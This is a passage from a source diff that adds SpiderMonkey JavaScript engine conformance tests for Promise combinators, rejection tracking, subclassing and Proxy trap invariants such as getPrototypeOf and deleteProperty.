+"use strict"; // Use strict-mode to ensure |this| arguments aren't converted to objects.
+
+var emptyIterator = {
+ next() {
+ return {done: true};
+ }
+};
+
+Object.defineProperty(Number.prototype, Symbol.iterator, {
+ configurable: true,
+ get() {
+ assertEq(typeof this, "number");
+ return function() {
+ assertEq(typeof this, "number");
+ return emptyIterator;
+ }
+ }
+});
+
+Promise.all(0);
+Promise.allSettled(0);
+Promise.race(0);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Promise/get-wait-for-all-promise.js b/js/src/tests/non262/Promise/get-wait-for-all-promise.js
new file mode 100644
index 0000000000..69464ce08b
--- /dev/null
+++ b/js/src/tests/non262/Promise/get-wait-for-all-promise.js
@@ -0,0 +1,60 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs getSelfHostedValue and drainJobQueue
+
+function onResolved(val) {
+ result = 'resolved with ' + val;
+}
+
+function onRejected(val) {
+ result = 'rejected with ' + val;
+}
+
+// Replacing `Promise#then` shouldn't affect getWaitForAllPromise.
+let originalThen = Promise.prototype.then;
+Promise.prototype.then = 1;
+
+// Replacing Promise[@@species] shouldn't affect getWaitForAllPromise.
+Object.defineProperty(Promise, Symbol.species, { get: function(){} });
+
+// Replacing `Promise` shouldn't affect getWaitForAllPromise.
+let PromiseCtor = Promise;
+Promise = {};
+
+// Replacing Array[@@iterator] shouldn't affect getWaitForAllPromise.
+Array.prototype[Symbol.iterator] = function(){};
+
+let resolveFunctions = [];
+let rejectFunctions = [];
+let promises = [];
+for (let i = 0; i < 3; i++) {
+ let p = new PromiseCtor(function(res_, rej_) {
+ resolveFunctions.push(res_);
+ rejectFunctions.push(rej_);
+ });
+ promises.push(p);
+}
+
+let allPromise = getWaitForAllPromise(promises);
+let then = originalThen.call(allPromise, onResolved, onRejected);
+
+resolveFunctions.forEach((fun, i)=>fun(i));
+drainJobQueue();
+
+assertEq(result, 'resolved with 0,1,2');
+
+// Empty lists result in a promise resolved with an empty array.
+result = undefined;
+originalThen.call(getWaitForAllPromise([]), v=>(result = v));
+drainJobQueue();
+assertEq(result instanceof Array, true);
+assertEq(result.length, 0);
+
+//Empty lists result in a promise resolved with an empty array.
+result = undefined;
+originalThen.call(getWaitForAllPromise([]), v=>(result = v));
+
+drainJobQueue();
+
+assertEq(result instanceof Array, true);
+assertEq(result.length, 0);
+
+this.reportCompare && reportCompare(true,true);
diff --git a/js/src/tests/non262/Promise/iterator-close.js b/js/src/tests/non262/Promise/iterator-close.js
new file mode 100644
index 0000000000..b3127e87f2
--- /dev/null
+++ b/js/src/tests/non262/Promise/iterator-close.js
@@ -0,0 +1,234 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+var BUGNUMBER = 1180306;
+var summary = 'Promise.{all,race} should close iterator on error';
+
+print(BUGNUMBER + ": " + summary);
+
+function test(ctor, props, { nextVal=undefined,
+ nextThrowVal=undefined,
+ modifier=undefined,
+ rejectReason=undefined,
+ rejectType=undefined,
+ closed=true }) {
+ function getIterable() {
+ let iterable = {
+ closed: false,
+ [Symbol.iterator]() {
+ let iterator = {
+ first: true,
+ next() {
+ if (this.first) {
+ this.first = false;
+ if (nextThrowVal)
+ throw nextThrowVal;
+ return nextVal;
+ }
+ return { value: undefined, done: true };
+ },
+ return() {
+ iterable.closed = true;
+ return {};
+ }
+ };
+ if (modifier)
+ modifier(iterator, iterable);
+
+ return iterator;
+ }
+ };
+ return iterable;
+ }
+ for (let prop of props) {
+ let iterable = getIterable();
+ let e;
+ ctor[prop](iterable).catch(e_ => { e = e_; });
+ drainJobQueue();
+ if(rejectType)
+ assertEq(e instanceof rejectType, true);
+ else
+ assertEq(e, rejectReason);
+ assertEq(iterable.closed, closed);
+ }
+}
+
+// == Error cases with close ==
+
+// ES 2017 draft 25.4.4.1.1 step 6.i.
+// ES 2017 draft 25.4.4.3.1 step 3.h.
+class MyPromiseStaticResolveGetterThrows extends Promise {
+ static get resolve() {
+ throw "static resolve getter throws";
+ }
+};
+test(MyPromiseStaticResolveGetterThrows, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ rejectReason: "static resolve getter throws",
+ closed: false,
+});
+
+class MyPromiseStaticResolveThrows extends Promise {
+ static resolve() {
+ throw "static resolve throws";
+ }
+};
+test(MyPromiseStaticResolveThrows, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ rejectReason: "static resolve throws",
+ closed: true,
+});
+
+// ES 2017 draft 25.4.4.1.1 step 6.q.
+// ES 2017 draft 25.4.4.3.1 step 3.i.
+class MyPromiseThenGetterThrows extends Promise {
+ static resolve() {
+ return {
+ get then() {
+ throw "then getter throws";
+ }
+ };
+ }
+};
+test(MyPromiseThenGetterThrows, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ rejectReason: "then getter throws",
+ closed: true,
+});
+
+class MyPromiseThenThrows extends Promise {
+ static resolve() {
+ return {
+ then() {
+ throw "then throws";
+ }
+ };
+ }
+};
+test(MyPromiseThenThrows, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ rejectReason: "then throws",
+ closed: true,
+});
+
+// ES 2017 draft 7.4.6 step 3.
+// if GetMethod fails, the thrown value should be used.
+test(MyPromiseThenThrows, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ throw "return getter throws";
+ }
+ });
+ },
+ rejectReason: "return getter throws",
+ closed: true,
+});
+test(MyPromiseThenThrows, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ return "non object";
+ }
+ });
+ },
+ rejectType: TypeError,
+ closed: true,
+});
+test(MyPromiseThenThrows, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ // Non callable.
+ return {};
+ }
+ });
+ },
+ rejectType: TypeError,
+ closed: true,
+});
+
+// ES 2017 draft 7.4.6 steps 6.
+// if return method throws, the thrown value should be ignored.
+test(MyPromiseThenThrows, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ modifier: (iterator, iterable) => {
+ iterator.return = function() {
+ iterable.closed = true;
+ throw "return throws";
+ };
+ },
+ rejectReason: "then throws",
+ closed: true,
+});
+
+test(MyPromiseThenThrows, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ modifier: (iterator, iterable) => {
+ iterator.return = function() {
+ iterable.closed = true;
+ return "non object";
+ };
+ },
+ rejectReason: "then throws",
+ closed: true,
+});
+
+// == Error cases without close ==
+
+// ES 2017 draft 25.4.4.1.1 step 6.a.
+test(Promise, ["all", "race"], {
+ nextThrowVal: "next throws",
+ rejectReason: "next throws",
+ closed: false,
+});
+
+test(Promise, ["all", "race"], {
+ nextVal: { value: {}, get done() { throw "done getter throws"; } },
+ rejectReason: "done getter throws",
+ closed: false,
+});
+
+// ES 2017 draft 25.4.4.1.1 step 6.e.
+test(Promise, ["all", "race"], {
+ nextVal: { get value() { throw "value getter throws"; }, done: false },
+ rejectReason: "value getter throws",
+ closed: false,
+});
+
+// ES 2017 draft 25.4.4.1.1 step 6.d.iii.2.
+let first = true;
+class MyPromiseResolveThrows extends Promise {
+ constructor(executer) {
+ if (first) {
+ first = false;
+ super((resolve, reject) => {
+ executer(() => {
+ throw "resolve throws";
+ }, reject);
+ });
+ return;
+ }
+ super(executer);
+ }
+};
+test(MyPromiseResolveThrows, ["all"], {
+ nextVal: { value: undefined, done: true },
+ rejectReason: "resolve throws",
+ closed: false,
+});
+
+// == Successful cases ==
+
+test(Promise, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ closed: false,
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Promise/iterator-primitive.js b/js/src/tests/non262/Promise/iterator-primitive.js
new file mode 100644
index 0000000000..cfc3a4ed32
--- /dev/null
+++ b/js/src/tests/non262/Promise/iterator-primitive.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+for (let primitive of primitives) {
+ let arg = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertEventuallyThrows(Promise.all(arg), TypeError);
+ assertEventuallyThrows(Promise.race(arg), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Promise/methods-non-enumerable.js b/js/src/tests/non262/Promise/methods-non-enumerable.js
new file mode 100644
index 0000000000..ea2228894b
--- /dev/null
+++ b/js/src/tests/non262/Promise/methods-non-enumerable.js
@@ -0,0 +1,4 @@
+assertEq(Object.keys(Promise).length, 0);
+assertEq(Object.keys(Promise.prototype).length, 0);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Promise/promise-all.js b/js/src/tests/non262/Promise/promise-all.js
new file mode 100644
index 0000000000..3ae58fc384
--- /dev/null
+++ b/js/src/tests/non262/Promise/promise-all.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+let results = [];
+
+let p1 = new Promise(res=>res('result'))
+ .then(val=>{results.push('then ' + val); return 'first then rval';})
+ .then(val=>{results.push('chained then with val: ' + val); return 'p1 then, then'});
+
+let p2 = new Promise((res, rej)=>rej('rejection'))
+ .catch(val=> {results.push('catch ' + val); return results.length;})
+ .then(val=>{results.push('then after catch with val: ' + val); return 'p2 catch, then'},
+ val=>{throw new Error("mustn't be called")});
+
+Promise.all([p1, p2]).then(res => results.push(res + ''));
+
+drainJobQueue();
+
+assertEq(results.length, 5);
+assertEq(results[0], 'then result');
+assertEq(results[1], 'catch rejection');
+assertEq(results[2], 'chained then with val: first then rval');
+assertEq(results[3], 'then after catch with val: 2');
+assertEq(results[4], 'p1 then, then,p2 catch, then');
+
+this.reportCompare && reportCompare(true,true);
diff --git a/js/src/tests/non262/Promise/promise-basics.js b/js/src/tests/non262/Promise/promise-basics.js
new file mode 100644
index 0000000000..ad186537fe
--- /dev/null
+++ b/js/src/tests/non262/Promise/promise-basics.js
@@ -0,0 +1,96 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+let results = [];
+
+new Promise(res=>res('result'))
+ .then(val=>{results.push('then ' + val); return 'first then rval';})
+ .then(val=>results.push('chained then with val: ' + val));
+
+new Promise((res, rej)=>rej('rejection'))
+ .catch(val=>{results.push('catch ' + val); return results.length;})
+ .then(val=>results.push('then after catch with val: ' + val),
+ val=>{throw new Error("mustn't be called")});
+
+new Promise((res, rej)=> {res('result'); rej('rejection'); })
+ .catch(val=>{throw new Error("mustn't be called");})
+ .then(val=>results.push('then after resolve+reject with val: ' + val),
+ val=>{throw new Error("mustn't be called")});
+
+new Promise((res, rej)=> { rej('rejection'); res('result'); })
+ .catch(val=>{results.push('catch after reject+resolve with val: ' + val);})
+
+
+drainJobQueue();
+
+assertEq(results.length, 6);
+assertEq(results[0], 'then result');
+assertEq(results[1], 'catch rejection');
+assertEq(results[2], 'catch after reject+resolve with val: rejection');
+assertEq(results[3], 'chained then with val: first then rval');
+assertEq(results[4], 'then after catch with val: 2');
+assertEq(results[5], 'then after resolve+reject with val: result');
+
+results = [];
+
+Promise.resolve('resolution').then(res=>results.push(res),
+ rej=>{ throw new Error("mustn't be called"); });
+
+let thenCalled = false;
+Promise.reject('rejection').then(_=>{thenCalled = true},
+ rej=>results.push(rej));
+
+drainJobQueue();
+
+assertEq(thenCalled, false);
+assertEq(results.length, 2);
+assertEq(results[0], 'resolution');
+assertEq(results[1], 'rejection');
+
+
+function callback() {}
+
+// Calling the executor function with content functions shouldn't assert:
+Promise.resolve.call(function(exec) { exec(callback, callback); });
+Promise.reject.call(function(exec) { exec(callback, callback); });
+Promise.all.call(function(exec) { exec(callback, callback); });
+Promise.race.call(function(exec) { exec(callback, callback); });
+
+let resolveResult = undefined;
+function resolveFun() {resolveResult = "resolveCalled";}
+Promise.resolve.call(function(exec) { exec(resolveFun, callback); });
+assertEq(resolveResult, "resolveCalled");
+
+let rejectResult = undefined;
+function rejectFun() {rejectResult = "rejectCalled";}
+Promise.reject.call(function(exec) { exec(callback, rejectFun); });
+assertEq(rejectResult, "rejectCalled");
+
+// These should throw:
+var wasCalled = false;
+var hasThrown = false;
+try {
+ // Calling the executor function twice, providing a resolve callback both times.
+ Promise.resolve.call(function(executor) {
+ wasCalled = true;
+ executor(callback, undefined);
+ executor(callback, callback);
+ });
+} catch (e) {
+ hasThrown = true;
+}
+assertEq(wasCalled, true);
+assertEq(hasThrown, true);
+
+var hasThrown = false;
+try {
+ // Calling the executor function twice, providing a reject callback both times.
+ Promise.resolve.call(function(executor) {
+ executor(undefined, callback);
+ executor(callback, callback);
+ });
+} catch (e) {
+ hasThrown = true;
+}
+assertEq(hasThrown, true);
+
+this.reportCompare && reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Promise/promise-rejection-tracking-optimized.js b/js/src/tests/non262/Promise/promise-rejection-tracking-optimized.js
new file mode 100644
index 0000000000..c085b9dba8
--- /dev/null
+++ b/js/src/tests/non262/Promise/promise-rejection-tracking-optimized.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs setPromiseRejectionTrackerCallback
+
+const UNHANDLED = 0;
+const HANDLED = 1;
+
+let rejections = new Map();
+function rejectionTracker(promise, state) {
+ rejections.set(promise, state);
+}
+setPromiseRejectionTrackerCallback(rejectionTracker);
+
+// If the return value of then is not used, the promise object is optimized
+// away, but if a rejection happens, the rejection should be notified.
+Promise.resolve().then(() => { throw 1; });
+drainJobQueue();
+
+assertEq(rejections.size, 1);
+
+let [[promise, state]] = rejections;
+assertEq(state, UNHANDLED);
+
+let exc;
+promise.catch(x => { exc = x; });
+drainJobQueue();
+
+// we handled it after all
+assertEq(rejections.get(promise), HANDLED);
+
+// the right exception was reported
+assertEq(exc, 1);
+
+if (this.reportCompare) {
+ reportCompare(true,true);
+}
diff --git a/js/src/tests/non262/Promise/promise-rejection-tracking.js b/js/src/tests/non262/Promise/promise-rejection-tracking.js
new file mode 100644
index 0000000000..a596fa6a99
--- /dev/null
+++ b/js/src/tests/non262/Promise/promise-rejection-tracking.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs setPromiseRejectionTrackerCallback
+
+const UNHANDLED = 0;
+const HANDLED = 1;
+
+let rejections = new Map();
+function rejectionTracker(promise, state) {
+ rejections.set(promise, state);
+}
+setPromiseRejectionTrackerCallback(rejectionTracker);
+
+// Unhandled rejections are tracked.
+let reject;
+let p = new Promise((res_, rej_) => (reject = rej_));
+assertEq(rejections.has(p), false);
+reject('reason');
+assertEq(rejections.get(p), UNHANDLED);
+// Later handling updates the tracking.
+p.then(_=>_, _=>_);
+assertEq(rejections.get(p), HANDLED);
+
+rejections.clear();
+
+// Handled rejections aren't tracked at all.
+p = new Promise((res_, rej_) => (reject = rej_));
+assertEq(rejections.has(p), false);
+p.then(_=>_, _=>_);
+reject('reason');
+assertEq(rejections.has(p), false);
+
+this.reportCompare && reportCompare(true,true);
diff --git a/js/src/tests/non262/Promise/promise-species.js b/js/src/tests/non262/Promise/promise-species.js
new file mode 100644
index 0000000000..52a4ecb632
--- /dev/null
+++ b/js/src/tests/non262/Promise/promise-species.js
@@ -0,0 +1,8 @@
+assertEq(Promise[Symbol.species], Promise);
+let prop = Object.getOwnPropertyDescriptor(Promise, Symbol.species);
+assertEq('get' in prop, true);
+assertEq(typeof prop.get, 'function');
+assertEq('set' in prop, true);
+assertEq(prop.set, undefined);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Promise/promise-subclassing.js b/js/src/tests/non262/Promise/promise-subclassing.js
new file mode 100644
index 0000000000..7232205f45
--- /dev/null
+++ b/js/src/tests/non262/Promise/promise-subclassing.js
@@ -0,0 +1,62 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+let results = [];
+
+class SubPromise extends Promise {
+ constructor(executor) {
+ results.push('SubPromise ctor called');
+ super(executor);
+ }
+ then(res, rej) {
+ results.push('SubPromise#then called');
+ return intermediatePromise = super.then(res, rej);
+ }
+}
+
+let subPromise = new SubPromise(function(res, rej) {
+ results.push('SubPromise ctor called executor');
+ res('result');
+});
+
+let intermediatePromise;
+let allSubPromise = SubPromise.all([subPromise]);
+
+assertEq(subPromise instanceof SubPromise, true);
+assertEq(allSubPromise instanceof SubPromise, true);
+assertEq(intermediatePromise instanceof SubPromise, true);
+
+expected = [
+'SubPromise ctor called',
+'SubPromise ctor called executor',
+'SubPromise ctor called',
+'SubPromise#then called',
+'SubPromise ctor called',
+];
+
+assertEq(results.length, expected.length);
+expected.forEach((expected,i) => assertEq(results[i], expected));
+
+subPromise.then(val=>results.push('subPromise.then with val ' + val));
+allSubPromise.then(val=>results.push('allSubPromise.then with val ' + val));
+
+expected.forEach((expected,i) => assertEq(results[i], expected));
+expected = expected.concat([
+'SubPromise#then called',
+'SubPromise ctor called',
+'SubPromise#then called',
+'SubPromise ctor called',
+]);
+
+assertEq(results.length, expected.length);
+expected.forEach((expected,i) => assertEq(results[i], expected));
+
+drainJobQueue();
+
+expected = expected.concat([
+'subPromise.then with val result',
+'allSubPromise.then with val result',
+]);
+
+assertEq(results.length, expected.length);
+
+this.reportCompare && reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Promise/self-resolve.js b/js/src/tests/non262/Promise/self-resolve.js
new file mode 100644
index 0000000000..53f76a99ce
--- /dev/null
+++ b/js/src/tests/non262/Promise/self-resolve.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+// Resolve Promise with itself by directly calling the "Promise Resolve Function".
+let resolve;
+let promise = new Promise(function(x) { resolve = x; });
+resolve(promise)
+
+let results = [];
+promise.then(res => assertEq(true, false, "not reached")).catch(res => {
+ assertEq(res instanceof TypeError, true);
+ results.push("rejected");
+});
+
+drainJobQueue()
+
+assertEq(results.length, 1);
+assertEq(results[0], "rejected");
+
+
+// Resolve Promise with itself when the "Promise Resolve Function" is called
+// from (the fast path in) PromiseReactionJob.
+results = [];
+
+promise = new Promise(x => { resolve = x; });
+let promise2 = promise.then(() => promise2);
+
+promise2.then(() => assertEq(true, false, "not reached"), res => {
+ assertEq(res instanceof TypeError, true);
+ results.push("rejected");
+});
+
+resolve();
+
+drainJobQueue();
+
+assertEq(results.length, 1);
+assertEq(results[0], "rejected");
+
+
+this.reportCompare && reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Promise/shell.js b/js/src/tests/non262/Promise/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Promise/shell.js
diff --git a/js/src/tests/non262/Proxy/browser.js b/js/src/tests/non262/Proxy/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Proxy/browser.js
diff --git a/js/src/tests/non262/Proxy/define-writable-as-non-writable.js b/js/src/tests/non262/Proxy/define-writable-as-non-writable.js
new file mode 100644
index 0000000000..f764d278f0
--- /dev/null
+++ b/js/src/tests/non262/Proxy/define-writable-as-non-writable.js
@@ -0,0 +1,19 @@
+"use strict";
+
+var target = {};
+Object.defineProperty(target, "test", {configurable: false, writable: true, value: 5});
+
+var proxy = new Proxy(target, {
+ defineProperty(target, property) {
+ assertEq(property, "test");
+ return true;
+ }
+});
+
+assertThrowsInstanceOf(
+ () => Object.defineProperty(proxy, "test", {writable: false}), TypeError);
+
+assertThrowsInstanceOf(
+ () => Reflect.defineProperty(proxy, "test", {writable: false}), TypeError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Proxy/delete-non-extensible.js b/js/src/tests/non262/Proxy/delete-non-extensible.js
new file mode 100644
index 0000000000..b31216bb65
--- /dev/null
+++ b/js/src/tests/non262/Proxy/delete-non-extensible.js
@@ -0,0 +1,18 @@
+"use strict";
+
+var target = { test: true };
+Object.preventExtensions(target);
+
+var proxy = new Proxy(target, {
+ deleteProperty(target, property) {
+ return true;
+ }
+});
+
+assertEq(delete proxy.missing, true);
+assertEq(Reflect.deleteProperty(proxy, "missing"), true);
+
+assertThrowsInstanceOf(() => { delete proxy.test; }, TypeError);
+assertThrowsInstanceOf(() => Reflect.deleteProperty(proxy, "test"), TypeError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Proxy/getPrototypeOf.js b/js/src/tests/non262/Proxy/getPrototypeOf.js
new file mode 100644
index 0000000000..a0676c0c91
--- /dev/null
+++ b/js/src/tests/non262/Proxy/getPrototypeOf.js
@@ -0,0 +1,285 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "getPrototypeOf.js";
+var BUGNUMBER = 888969;
+var summary = "Scripted proxies' [[GetPrototypeOf]] behavior";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+const log = [];
+
+function observe(obj)
+{
+ var observingHandler = new Proxy({}, {
+ get(target, p, receiver) {
+ log.push(p);
+ return Reflect.get(target, p, receiver);
+ }
+ });
+
+ return new Proxy(obj, observingHandler);
+}
+
+function nop() {}
+
+var p, h;
+
+// 1. Let handler be the value of the [[ProxyHandler]] internal slot of O.
+// 2. If handler is null, throw a TypeError exception.
+// 3. Assert: Type(handler) is Object.
+var rev = Proxy.revocable({}, {});
+p = rev.proxy;
+
+assertEq(Object.getPrototypeOf(p), Object.prototype);
+rev.revoke();
+assertThrowsInstanceOf(() => Object.getPrototypeOf(p), TypeError);
+
+// 4. Let target be the value of the [[ProxyTarget]] internal slot of O.
+// 5. Let trap be ? GetMethod(handler, "getPrototypeOf").
+
+// Getting handler.getPrototypeOf might throw.
+assertThrowsValue(() => Object.getPrototypeOf(new Proxy({},
+ { get getPrototypeOf() {
+ throw 17;
+ } })),
+ 17);
+
+// The handler's getPrototypeOf, once gotten, might throw.
+p = new Proxy({}, { getPrototypeOf() { throw 42; } });
+
+assertThrowsValue(() => Object.getPrototypeOf(p), 42);
+
+// The trap might not be callable.
+p = new Proxy({}, { getPrototypeOf: 17 });
+
+assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+// 6. If trap is undefined, then
+// a. Return ? target.[[GetPrototypeOf]]().
+
+var x, tp;
+
+tp =
+ new Proxy(new Number(8675309), // behavior overridden by getPrototypeOf
+ { getPrototypeOf() { x = "getPrototypeOf trap"; return null; } });
+
+// The target's [[GetPrototypeOf]] should be invoked if the handler's
+// .getPrototypeOf is undefined.
+p = new Proxy(tp, { getPrototypeOf: undefined });
+x = "unset";
+assertEq(Object.getPrototypeOf(p), null);
+assertEq(x, "getPrototypeOf trap");
+
+// Likewise if the handler's .getPrototypeOf is null.
+p = new Proxy(tp, { getPrototypeOf: null });
+x = "unset";
+assertEq(Object.getPrototypeOf(p), null);
+assertEq(x, "getPrototypeOf trap");
+
+// Now the target is an empty object with a Number object as its [[Prototype]].
+var customProto = new Number(8675309);
+tp =
+ new Proxy({},
+ { getPrototypeOf() {
+ x = "getPrototypeOf trap";
+ return customProto;
+ } });
+
+// The target's [[GetPrototypeOf]] should be invoked if the handler's
+// .getPrototypeOf is undefined.
+p = new Proxy(tp, { getPrototypeOf: undefined });
+x = "unset";
+assertEq(Object.getPrototypeOf(p), customProto);
+assertEq(x, "getPrototypeOf trap");
+
+// Likewise if the handler's .getPrototypeOf is null.
+p = new Proxy(tp, { getPrototypeOf: null });
+x = "unset";
+assertEq(Object.getPrototypeOf(p), customProto);
+assertEq(x, "getPrototypeOf trap");
+
+// 7. Let handlerProto be ? Call(trap, handler, « target »).
+
+// The trap callable might throw.
+p = new Proxy({}, { getPrototypeOf() { throw "ohai"; } });
+
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ "ohai");
+
+var throwingTrap =
+ new Proxy(function() { throw "not called"; },
+ { apply() { throw 37; } });
+
+p = new Proxy({}, { getPrototypeOf: throwingTrap });
+
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ 37);
+
+// The trap callable must *only* be called.
+p = new Proxy({},
+ {
+ getPrototypeOf: observe(function() { throw "boo-urns"; })
+ });
+
+log.length = 0;
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ "boo-urns");
+
+assertEq(log.length, 1);
+assertEq(log[0], "apply");
+
+// 8. If Type(handlerProto) is neither Object nor Null, throw a TypeError exception.
+
+var rval;
+
+var typeTestingTarget = {};
+p = new Proxy(typeTestingTarget, { getPrototypeOf() { return rval; } });
+
+function returnsPrimitives()
+{
+ rval = undefined;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = true;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = false;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = 0.0;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = -0.0;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = 3.141592654;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = NaN;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = -Infinity;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = "[[Prototype]] FOR REALZ";
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = Symbol("[[Prototype]] FOR REALZ");
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+}
+
+returnsPrimitives();
+Object.preventExtensions(typeTestingTarget);
+returnsPrimitives();
+
+// 9. Let extensibleTarget be ? IsExtensible(target).
+
+var act, extens;
+
+var typeTestingProxyTarget =
+ new Proxy({}, { isExtensible() {
+ seen = act();
+ return extens;
+ } });
+
+p = new Proxy(typeTestingProxyTarget, { getPrototypeOf() { return rval; } });
+
+rval = null;
+act = () => { throw "fnord" };
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ "fnord");
+
+rval = /abc/;
+act = () => { throw "fnord again" };
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ "fnord again");
+
+rval = Object.prototype;
+act = () => { throw "fnord" };
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ "fnord");
+
+// 10. If extensibleTarget is true, return handlerProto.
+
+p = new Proxy({}, { getPrototypeOf() { return rval; } });
+
+rval = Number.prototype;
+assertEq(Object.getPrototypeOf(p), Number.prototype);
+
+// 11. Let targetProto be ? target.[[GetPrototypeOf]]().
+
+var targetProto;
+
+var targetWithProto =
+ new Proxy(Object.preventExtensions(Object.create(null)),
+ { getPrototypeOf() { act2(); return targetProto; } });
+
+p = new Proxy(targetWithProto,
+ { getPrototypeOf() { act1(); return rval; } });
+
+rval = null;
+targetProto = null;
+
+var regex = /targetProto/;
+
+act1 = () => log.push("act1");
+act2 = () => log.push("act2");
+
+log.length = 0;
+assertEq(Object.getPrototypeOf(p), null);
+assertEq(log.length, 2);
+assertEq(log[0], "act1");
+assertEq(log[1], "act2");
+
+act1 = () => log.push("act1 again");
+act2 = () => { throw "target throw"; };
+
+log.length = 0;
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ "target throw");
+assertEq(log.length, 1);
+assertEq(log[0], "act1 again");
+
+// 12. If SameValue(handlerProto, targetProto) is false, throw a TypeError exception.
+
+act1 = act2 = nop;
+rval = /a/;
+assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+// 13. Return handlerProto.
+
+rval = null;
+targetProto = null;
+
+assertEq(Object.getPrototypeOf(p), null);
+
+p = new Proxy(Object.preventExtensions(new Number(55)),
+ { getPrototypeOf() { return Number.prototype; } });
+
+assertEq(Object.getPrototypeOf(p), Number.prototype);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Proxy/global-receiver.js b/js/src/tests/non262/Proxy/global-receiver.js
new file mode 100644
index 0000000000..b2d160c0dd
--- /dev/null
+++ b/js/src/tests/non262/Proxy/global-receiver.js
@@ -0,0 +1,35 @@
+// The global object can be the receiver passed to the get and set traps of a Proxy.
+var global = this;
+var proto = Object.getPrototypeOf(global);
+var gets = 0, sets = 0;
+
+try {
+ Object.setPrototypeOf(global, new Proxy(proto, {
+ has(t, id) {
+ return id === "bareword" || Reflect.has(t, id);
+ },
+ get(t, id, r) {
+ gets++;
+ assertEq(r, global);
+ return Reflect.get(t, id, r);
+ },
+ set(t, id, v, r) {
+ sets++;
+ assertEq(r, global);
+ return Reflect.set(t, id, v, r);
+ }
+ }));
+} catch (e) {
+ global.bareword = undefined;
+ gets = 1;
+ sets = 1;
+}
+
+assertEq(bareword, undefined);
+assertEq(gets, 1);
+
+bareword = 12;
+assertEq(sets, 1);
+assertEq(global.bareword, 12);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Proxy/hasInstance.js b/js/src/tests/non262/Proxy/hasInstance.js
new file mode 100644
index 0000000000..bbdffb2273
--- /dev/null
